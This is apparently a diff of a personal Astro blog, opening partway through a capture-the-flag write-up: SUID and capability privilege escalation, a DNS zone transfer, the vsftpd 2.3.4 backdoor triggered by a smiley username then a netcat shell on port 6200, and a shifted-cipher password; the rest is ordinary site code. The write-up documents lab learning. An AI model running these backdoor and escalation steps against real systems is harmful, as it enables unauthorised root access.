━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
analyst@helix-server:~$ find / -perm -4000 2>/dev/null
/usr/bin/umount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/su
/usr/local/bin/helix-reader
analyst@helix-server:~$
```
i tried escalating with executables such as su, chsh or `mount`ing the filesystem somewhere, i just tried running `helix-reader`:
```
analyst@helix-server:~$ /usr/local/bin/helix-reader
Uso: helix-reader <fichero>
Herramienta de diagnostico - Helix Corp
```
this can just- read files? no way...
```
analyst@helix-server:~$ /usr/local/bin/helix-reader /root/flag.txt
flag_su1d_b1t_1s_d4ng3r0us
```
okay
## linux - permisos (2)
```
╔══════════════════════════════════════════════════════════════╗
║ HELIX CORP — SISTEMA DE ANÁLISIS FORENSE ║
║ RETO PRIV-04 ║
╚══════════════════════════════════════════════════════════════╝
Bienvenido, analyst.
Tu misión: leer /root/flag.txt
El admin usó capabilities en lugar de SUID. ¿Es más seguro?
Pista: find -perm -4000 no te ayudará esta vez...
Intenta: getcap -r / 2>/dev/null
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
analyst@helix-server:~$ getcap -r / 2>/dev/null
/usr/local/bin/helix-escalate cap_setuid=ep
/usr/local/bin/helix-capread cap_dac_read_search=ep
```
this one uses linux capabilities, but it's basically the same drill:
```
analyst@helix-server:~$ /usr/local/bin/helix-escalate
[*] helix-escalate — herramienta de mantenimiento
[*] UID actual: 1000
[*] UID tras escalada: 0
[*] Lanzando shell de mantenimiento...
root@helix-server:~# cat /root/flag.txt
flag_c4p4b1l1t13s_4r3_subt13
root@helix-server:~#
```
this executable escalated me to root and let me `cat` the flag up through there.
## dns y transferencia de zona
```
Para este reto hay que saber manejar las consultas a dominios con DNS. El reto contiene única flag final almacenada en un registro TXT que está oculto por oscuridad. Encontrarlo es muy sencillo si se conoce y explota el concepto de transferencia de zona. [...]
La solución a este reto se adquiere realizando la operación DNS necesaria.
```
okay this one i had to get a docker container up and running, and some firewall issues made me change the dns ports but ANYWAY
this was basically a [dns zone transfer](https://en.wikipedia.org/wiki/DNS_zone_transfer). in the real world, it lets you replicate dns records.
i knew it had something to do with `dig`, and there turns out to be an `AXFR` query, which i found after trying to query `TXT` with no avail:
```
…/Downloads/ctf ✗ dig axfr @172.17.0.2 midominio.com
; <<>> DiG 9.20.20 <<>> axfr @172.17.0.2 midominio.com
; (1 server found)
;; global options: +cmd
[...]
midominio.com. 10800 IN A 192.168.1.100
4Eb7w8\@yYnaNLua.midominio.com. 10800 IN TXT "flag{dns_axfr_easy}"
api.midominio.com. 10800 IN A 192.168.1.109
[...]
;; Query time: 0 msec
;; SERVER: 172.17.0.2#53(172.17.0.2) (TCP)
;; WHEN: Fri Mar 13 16:46:34 CET 2026
;; XFR size: 23 records (messages 1, bytes 635)
```
there it was.
## ftp server hacking
this one was fun!
after deploying the docker container, i ran `nmap` to look at what we're dealing with. note that this was what took me the most time, since i'm not familiar with pentesting tools:
```
…/Downloads/ctf nmap -sC -sV 172.17.0.3 21
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 16:50 +0100
Nmap scan report for 172.17.0.3
Host is up (0.00036s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 8.02 seconds
```
after a quick search, this version is vulnerable to [CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523), a 9.8 critical vulnerability which opened a backdoor. it works like this:
1. open a terminal, ftp into it and type in `<anything>:)` as the username (yes, a smiley face!)
```
…/Downloads/ctf ftp 172.17.0.3
Connected to 172.17.0.3.
220 (vsFTPd 2.3.4)
Name (172.17.0.3:srizan): asdf:)
331 Please specify the password.
Password:
bkjasfbjaefklnekl
```
1. it gets stuck! now open another terminal and nc into 6200/tcp.
```
…/Downloads/ctf nc 172.17.0.3 6200
uname -a
Linux 2b93f9674b30 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64 x86_64 x86_64 GNU/Linux
pwd
/root/vsftpd-2.3.4
cat /root/flag.txt
flag{backdoor_vsftp}
```
my friend rafa found a metasploit script that automates the process, which is a cool alternative :)
## guardo contraseñas en ficheros
i did this one 10 minutes before the lb closed, which was a bit tense. it led me to #3!
downloaded the zip and opened the only file:
```
<node TEXT="B) Desplegar la plataforma CTFd" FOLDED="true" POSITION="bottom_or_right" ID="ID_106505589" CREATED="1773069180871" MODIFIED="1773069195865">
<edge COLOR="#00ff00"/>
<font SIZE="12"/>
<node TEXT="Formato: ROT11" ID="ID_1250935731" CREATED="1773069228152" MODIFIED="1773069292783" LINK="https://en.wikipedia.org/wiki/Caesar_cipher"/>
<node TEXT="User: rroman@uma.es" ID="ID_504947160" CREATED="1773069294360" MODIFIED="1773069305837"/>
<node TEXT="Password: qwlr_yzecgnphtesespqgctpd" ID="ID_858155904" CREATED="1773069306505" MODIFIED="1773069704629"/>
</node>
```
dang interesting. that is not the flag, but it looks shifted.
pasting the string into dcode.fr's [cipher identifier](https://www.dcode.fr/cipher-identifier), there were a few, so i mainly tried `delastelle trifid` and `caesar`, to no avail.
thankfully, after trying [`shift`](https://www.dcode.fr/shift-cipher) and letting it do some brute force, i ended up finding this!
```
[(+11)/c]: flag_notrvcewiththefvries
```
# final acknowledgements
thanks to these awesome people for making my experience truly unforgettable!
- rafa, hugo, dario and all other people i got to meet: y'all were awesome! sorry if this list is not very exhaustive, i'm awful at names. praying we can reunite on nasa spaceapps or something
- hackers week organizers: thanks for making it so fun! order more large sized t-shirts next time :'D
- eligius hendrix: in case he reads this, you're such a cool professor! in retrospect i feel kind of bad for not letting you know i sneaked in class. hope i can take your classes one day!
- my spanish teacher: thanks for delaying my exam so i could attend
ps: i won't be switching to opensuse for the forseeable future

View File

@@ -0,0 +1,8 @@
---
name: 'hackclub.tv'
description: 'A streaming service for Hack Club.'
tags: ['Next.js', 'React', 'shadcn/ui', 'nginx']
image: '../../../public/static/hctv-banner.png'
link: 'https://hctv.srizan.dev'
startDate: '2025-01-12'
---

View File

@@ -0,0 +1,8 @@
---
name: 'lofi.srizan.dev'
description: 'Glassmorphic lofi player with various stations and utilities.'
tags: ['Svelte', 'shadcn/svelte', 'Cloudflare Workers', 'Cloudflare R2']
image: '../../../public/static/lofi-banner.png'
link: 'https://lofi.srizan.dev'
startDate: '2024-03-01'
---

View File

@@ -0,0 +1,8 @@
---
name: 'sern Project'
description: 'Discord bot framework.'
tags: ['TypeScript', 'rxjs', 'Discord.js', 'Starlight']
image: '../../../public/static/sern-banner.png'
link: 'https://sern.dev'
startDate: '2022-04-01'
---

4
src/env.d.ts vendored
View File

@@ -1,6 +1,2 @@
/// <reference path="../.astro/types.d.ts" /> /// <reference path="../.astro/types.d.ts" />
/// <reference types="astro/client" /> /// <reference types="astro/client" />
interface ImportMetaEnv {
readonly BLOG_CONTENT_KEY: string;
readonly BLOG_CONTENT_URL: string;
}

33
src/layouts/Layout.astro Normal file
View File

@@ -0,0 +1,33 @@
---
import '@/styles/global.css'
import '@/styles/typography.css'
import Footer from '@/components/Footer.astro'
import Head from '@/components/Head.astro'
import Header from '@/components/Header.astro'
import { SITE } from '@/consts'
---
<!doctype html>
<html class="bg-background text-foreground" lang={SITE.locale}>
<Head>
<slot name="head" />
</Head>
<body class="overflow-x-hidden">
<div class="flex h-fit min-h-screen flex-col gap-y-6 font-sans">
<div
class="bg-background/50 sticky top-0 z-50 divide-y backdrop-blur-sm xl:divide-none"
>
<Header />
<slot name="subposts-navigation" />
<slot name="table-of-contents" />
</div>
<main class="grow">
<div class="mx-auto flex max-w-6xl grow flex-col gap-y-6 px-4">
<slot />
</div>
</main>
<Footer />
</div>
</body>
</html>

231
src/lib/data-utils.ts Normal file
View File

@@ -0,0 +1,231 @@
import { getCollection, type CollectionEntry } from 'astro:content'
import { readingTime, calculateWordCountFromHtml } from '@/lib/utils'
export async function getAllAuthors(): Promise<CollectionEntry<'authors'>[]> {
return await getCollection('authors')
}
export async function getAllPosts(): Promise<CollectionEntry<'blog'>[]> {
const posts = await getCollection('blog')
return posts
.filter((post) => !post.data.draft && !isSubpost(post.id))
.sort((a, b) => b.data.date.valueOf() - a.data.date.valueOf())
}
export async function getAllPostsAndSubposts(): Promise<
CollectionEntry<'blog'>[]
> {
const posts = await getCollection('blog')
return posts
.filter((post) => !post.data.draft)
.sort((a, b) => b.data.date.valueOf() - a.data.date.valueOf())
}
export async function getAllProjects(): Promise<CollectionEntry<'projects'>[]> {
const projects = await getCollection('projects')
return projects.sort((a, b) => {
const dateA = a.data.startDate?.getTime() || 0
const dateB = b.data.startDate?.getTime() || 0
return dateB - dateA
})
}
export async function getAllTags(): Promise<Map<string, number>> {
const posts = await getAllPosts()
return posts.reduce((acc, post) => {
post.data.tags?.forEach((tag) => {
acc.set(tag, (acc.get(tag) || 0) + 1)
})
return acc
}, new Map<string, number>())
}
export async function getAdjacentPosts(currentId: string): Promise<{
newer: CollectionEntry<'blog'> | null
older: CollectionEntry<'blog'> | null
parent: CollectionEntry<'blog'> | null
}> {
const allPosts = await getAllPosts()
if (isSubpost(currentId)) {
const parentId = getParentId(currentId)
const allPosts = await getAllPosts()
const parent = allPosts.find((post) => post.id === parentId) || null
const posts = await getCollection('blog')
const subposts = posts
.filter(
(post) =>
isSubpost(post.id) &&
getParentId(post.id) === parentId &&
!post.data.draft,
)
.sort((a, b) => a.data.date.valueOf() - b.data.date.valueOf())
const currentIndex = subposts.findIndex((post) => post.id === currentId)
if (currentIndex === -1) {
return { newer: null, older: null, parent }
}
return {
newer:
currentIndex < subposts.length - 1 ? subposts[currentIndex + 1] : null,
older: currentIndex > 0 ? subposts[currentIndex - 1] : null,
parent,
}
}
const parentPosts = allPosts.filter((post) => !isSubpost(post.id))
const currentIndex = parentPosts.findIndex((post) => post.id === currentId)
if (currentIndex === -1) {
return { newer: null, older: null, parent: null }
}
return {
newer: currentIndex > 0 ? parentPosts[currentIndex - 1] : null,
older:
currentIndex < parentPosts.length - 1
? parentPosts[currentIndex + 1]
: null,
parent: null,
}
}
export async function getPostsByAuthor(
authorId: string,
): Promise<CollectionEntry<'blog'>[]> {
const posts = await getAllPosts()
return posts.filter((post) => post.data.authors?.includes(authorId))
}
export async function getPostsByTag(
tag: string,
): Promise<CollectionEntry<'blog'>[]> {
const posts = await getAllPosts()
return posts.filter((post) => post.data.tags?.includes(tag))
}
export async function getRecentPosts(
count: number,
): Promise<CollectionEntry<'blog'>[]> {
const posts = await getAllPosts()
return posts.slice(0, count)
}
export async function getSortedTags(): Promise<
{ tag: string; count: number }[]
> {
const tagCounts = await getAllTags()
return [...tagCounts.entries()]
.map(([tag, count]) => ({ tag, count }))
.sort((a, b) => {
const countDiff = b.count - a.count
return countDiff !== 0 ? countDiff : a.tag.localeCompare(b.tag)
})
}
export function getParentId(subpostId: string): string {
return subpostId.split('/')[0]
}
export async function getSubpostsForParent(
parentId: string,
): Promise<CollectionEntry<'blog'>[]> {
const posts = await getCollection('blog')
return posts
.filter(
(post) =>
!post.data.draft &&
isSubpost(post.id) &&
getParentId(post.id) === parentId,
)
.sort((a, b) => a.data.date.valueOf() - b.data.date.valueOf())
}
export function groupPostsByYear(
posts: CollectionEntry<'blog'>[],
): Record<string, CollectionEntry<'blog'>[]> {
return posts.reduce(
(acc: Record<string, CollectionEntry<'blog'>[]>, post) => {
const year = post.data.date.getFullYear().toString()
;(acc[year] ??= []).push(post)
return acc
},
{},
)
}
export async function hasSubposts(postId: string): Promise<boolean> {
const subposts = await getSubpostsForParent(postId)
return subposts.length > 0
}
export function isSubpost(postId: string): boolean {
return postId.includes('/')
}
export async function getParentPost(
subpostId: string,
): Promise<CollectionEntry<'blog'> | null> {
if (!isSubpost(subpostId)) {
return null
}
const parentId = getParentId(subpostId)
const allPosts = await getAllPosts()
return allPosts.find((post) => post.id === parentId) || null
}
export async function parseAuthors(authorIds: string[] = []) {
if (!authorIds.length) return []
const allAuthors = await getAllAuthors()
const authorMap = new Map(allAuthors.map((author) => [author.id, author]))
return authorIds.map((id) => {
const author = authorMap.get(id)
return {
id,
name: author?.data?.name || id,
avatar: author?.data?.avatar || '/static/logo.png',
isRegistered: !!author,
}
})
}
export async function getPostById(
postId: string,
): Promise<CollectionEntry<'blog'> | null> {
const allPosts = await getAllPostsAndSubposts()
return allPosts.find((post) => post.id === postId) || null
}
export async function getSubpostCount(parentId: string): Promise<number> {
const subposts = await getSubpostsForParent(parentId)
return subposts.length
}
export async function getCombinedReadingTime(postId: string): Promise<string> {
const post = await getPostById(postId)
if (!post) return readingTime(0)
let totalWords = calculateWordCountFromHtml(post.body)
if (!isSubpost(postId)) {
const subposts = await getSubpostsForParent(postId)
for (const subpost of subposts) {
totalWords += calculateWordCountFromHtml(subpost.body)
}
}
return readingTime(totalWords)
}
export async function getPostReadingTime(postId: string): Promise<string> {
const post = await getPostById(postId)
if (!post) return readingTime(0)
const wordCount = calculateWordCountFromHtml(post.body)
return readingTime(wordCount)
}

140
src/lib/discogs.ts Normal file
View File

@@ -0,0 +1,140 @@
export async function getReleaseData(discogsId: string) {
const res = await fetch(`https://api.discogs.com/releases/${discogsId}`, {
headers: {
'User-Agent': 'srizan.dev/1.0 +https://srizan.dev',
},
});
if (!res.ok) {
throw new Error(`Failed to fetch data from Discogs API: ${res.statusText}`);
}
const data = await res.json() as DiscogsRelease;
return data;
}
export interface DiscogsRelease {
title: string;
id: number;
artists: Artist[];
data_quality: string;
thumb: string;
community: Community;
companies: Company[];
country: string;
date_added: string;
date_changed: string;
estimated_weight: number;
extraartists: ExtraArtist[];
format_quantity: number;
formats: Format[];
genres: string[];
identifiers: Identifier[];
images: Image[];
labels: Label[];
lowest_price: number;
master_id: number;
master_url: string;
notes: string;
num_for_sale: number;
released: string;
released_formatted: string;
resource_url: string;
series: any[];
status: string;
styles: string[];
tracklist: Track[];
uri: string;
videos: Video[];
year: number;
}
export interface Artist {
anv: string;
id: number;
join: string;
name: string;
resource_url: string;
role: string;
tracks: string;
}
export interface Community {
contributors: Contributor[];
data_quality: string;
have: number;
rating: {
average: number;
count: number;
};
status: string;
submitter: Contributor;
want: number;
}
export interface Contributor {
resource_url: string;
username: string;
}
export interface Company {
catno: string;
entity_type: string;
entity_type_name: string;
id: number;
name: string;
resource_url: string;
}
export interface ExtraArtist {
anv: string;
id: number;
join: string;
name: string;
resource_url: string;
role: string;
tracks: string;
}
export interface Format {
descriptions: string[];
name: string;
qty: string;
}
export interface Identifier {
type: string;
value: string;
}
export interface Image {
height: number;
resource_url: string;
type: string;
uri: string;
uri150: string;
width: number;
}
export interface Label {
catno: string;
entity_type: string;
id: number;
name: string;
resource_url: string;
}
export interface Track {
duration: string;
position: string;
title: string;
type_: string;
}
export interface Video {
description: string;
duration: number;
embed: boolean;
title: string;
uri: string;
}

View File

@@ -1,6 +1,37 @@
import { type ClassValue, clsx } from "clsx" import { type ClassValue, clsx } from 'clsx'
import { twMerge } from "tailwind-merge" import { twMerge } from 'tailwind-merge'
export function cn(...inputs: ClassValue[]) { export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs)) return twMerge(clsx(inputs))
} }
export function formatDate(date: Date) {
return Intl.DateTimeFormat('en-US', {
year: 'numeric',
month: 'long',
day: 'numeric',
}).format(date)
}
export function calculateWordCountFromHtml(
html: string | null | undefined,
): number {
if (!html) return 0
const textOnly = html.replace(/<[^>]+>/g, '')
return textOnly.split(/\s+/).filter(Boolean).length
}
export function readingTime(wordCount: number): string {
const readingTimeMinutes = Math.max(1, Math.round(wordCount / 200))
return `${readingTimeMinutes} min read`
}
export function getHeadingMargin(depth: number): string {
const margins: Record<number, string> = {
3: 'ml-4',
4: 'ml-8',
5: 'ml-12',
6: 'ml-16',
}
return margins[depth] || ''
}

29
src/pages/404.astro Normal file
View File

@@ -0,0 +1,29 @@
---
import Breadcrumbs from '@/components/Breadcrumbs.astro'
import Link from '@/components/Link.astro'
import PageHead from '@/components/PageHead.astro'
import { buttonVariants } from '@/components/ui/button'
import Layout from '@/layouts/Layout.astro'
import { cn } from '@/lib/utils'
---
<Layout>
<PageHead slot="head" title="404" />
<Breadcrumbs items={[{ label: '???', icon: 'lucide:circle-help' }]} />
<section
class="flex flex-col items-center justify-center gap-y-4 text-center"
>
<div class="max-w-md">
<h1 class="mb-4 text-3xl font-medium">404: Page not found</h1>
<p class="prose">Oops! The page you're looking for doesn't exist.</p>
</div>
<Link
href="/"
class={cn(buttonVariants({ variant: 'outline' }), 'flex gap-x-1.5 group')}
>
<span class="transition-transform group-hover:-translate-x-1">&larr;</span
> Go to home page
</Link>
</section>
</Layout>

27
src/pages/about.astro Normal file
View File

@@ -0,0 +1,27 @@
---
import Breadcrumbs from '@/components/Breadcrumbs.astro'
import PageHead from '@/components/PageHead.astro'
import ProjectCard from '@/components/ProjectCard.astro'
import Layout from '@/layouts/Layout.astro'
import { getAllProjects } from '@/lib/data-utils'
const projects = await getAllProjects()
---
<Layout>
<PageHead slot="head" title="About" />
<Breadcrumbs items={[{ label: 'About', icon: 'lucide:info' }]} />
<section>
<div class="min-w-full">
<div class="prose mb-8">
<p>how did we get here??????????</p>
</div>
<h2 class="mb-4 text-2xl font-medium">Projects I'm most proud of</h2>
<div class="flex flex-col gap-4">
{projects.map((project) => <ProjectCard project={project} />)}
</div>
</div>
</section>
</Layout>

View File

@@ -0,0 +1,59 @@
---
import AuthorCard from '@/components/AuthorCard.astro'
import BlogCard from '@/components/BlogCard.astro'
import Breadcrumbs from '@/components/Breadcrumbs.astro'
import PageHead from '@/components/PageHead.astro'
import Layout from '@/layouts/Layout.astro'
import { getAllAuthors, getPostsByAuthor } from '@/lib/data-utils'
export async function getStaticPaths() {
const authors = await getAllAuthors()
return authors.map((author) => ({
params: { id: author.id },
props: { author },
}))
}
export const prerender = true
const { author } = Astro.props
const authorPosts = await getPostsByAuthor(author.id)
---
<Layout>
<PageHead
slot="head"
title={`${author.data.name} (Author)`}
description={author.data.bio || `Profile of ${author.data.name}.`}
/>
<Breadcrumbs
items={[
{ href: '/authors', label: 'Authors', icon: 'lucide:users' },
{ label: author.data.name, icon: 'lucide:user' },
]}
/>
<section>
<AuthorCard author={author} />
</section>
<section class="flex flex-col gap-y-4">
<h2 class="text-2xl font-medium">Posts by {author.data.name}</h2>
{
authorPosts.length > 0 ? (
<ul class="flex flex-col gap-4">
{authorPosts
.filter((post) => !post.data.draft)
.map((post) => (
<li>
<BlogCard entry={post} />
</li>
))}
</ul>
) : (
<p class="text-muted-foreground">
No posts available from this author.
</p>
)
}
</section>
</Layout>

Some files were not shown because too many files have changed in this diff Show More